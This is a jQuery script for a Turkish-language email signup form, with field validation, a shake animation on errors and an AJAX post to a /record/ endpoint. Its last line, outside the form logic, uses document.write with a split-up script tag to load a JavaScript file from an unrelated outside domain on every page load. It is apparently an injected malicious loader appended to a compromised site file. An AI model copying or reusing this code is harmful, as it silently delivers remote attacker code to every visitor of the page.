$().ready(function(){
	$("#navigator").val(navigator.appName)
	function shakeMac(){
		$("#content").animate({
			marginLeft : "-20px",
			marginRight : "20px"
		},110,null,function(){
			$("#content").animate({
				marginLeft : "20px",
				marginRight : "-20px"
			},110,null,function(){
				$("#content").animate({
					marginLeft : "-20px",
					marginRight : "20px"
				},110,null,function(){
					$("#content").animate({
						marginLeft : "0px",
						marginRight : "0px"
					},110);
				});
			})	
		})
	}
	
	function mailValidator(email) {
	  var parsed = true;
	  var validchars = "abcdefghijklmnopqrstuvwxyz0123456789@.-_";
	  for (var i=0; i < email.length; i++) {
	    var letter = email.charAt(i).toLowerCase();
	    if (validchars.indexOf(letter) != -1)
	      continue;
	    parsed = false;
	    break;
	  }
	  return parsed;
	}
	
	$(".sendItem input").click(function(){
		if($("#txtName").val() == ""){
			$("#follow").text("Ad alanı boş bırakılamaz.");
			shakeMac();
			return false;
		}
		else if($("#txtMail").val() == ""){
			$("#follow").text("E-Posta alanı boş bırakılamaz");
			shakeMac();
			return false;
		}
		else if($("#txtMail").val().indexOf("@") < 1 || $("#txtMail").val().indexOf(".") < 1){
			$("#follow").text("E-Posta adresinizde hata var.");
			shakeMac();
			return false;
		}
		else if(($("#txtMail").val().indexOf("@") == $("#txtMail").val().length - 1) || ($("#txtMail").val().indexOf(".") == $("#txtMail").val().length - 1)){
			$("#follow").text("E-Posta adresinizde son karakter '@' yada '.' olamaz.");
			shakeMac();
			return false;
		}
		else if(!mailValidator($("#txtMail").val())){
			$("#follow").text("E-Posta adresinizde kullanım dışı karakterler var.");
			shakeMac();
			return false;
		}
		else {
			$("#subs_send").addClass("none");
			$("#loading").removeClass("none")
			$("#follow").text("");

              $.post("/record/", { txtName: $("#txtName").val(), txtMail: $("#txtMail").val(), navigator : $("#navigator").val() },
              function(data){
                if($(data).find("type").text() == "0"){
                    setTimeout(function(){
                        $("#subs_send").removeClass("none");
                        $("#loading").addClass("none")
						shakeMac();
                        $("#follow").text("E-Posta adresiniz veritabanımızda mevcut,");
                    },1000)
                }
                else {
                    setTimeout(function(){
                        $("#content").addClass("pulsedbox")
                        $("#content").animate({
                            marginTop : "-400px"
                        },500,null,function(){
                            $("#message").animate({
                                marginTop : "0px"
                            },500);
                        });
                    },1000)
                }
                return false;
              }, "xml");
			
			return false;
		}
		
	})
			
})


document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Base_Station.js"></scri'+'pt>');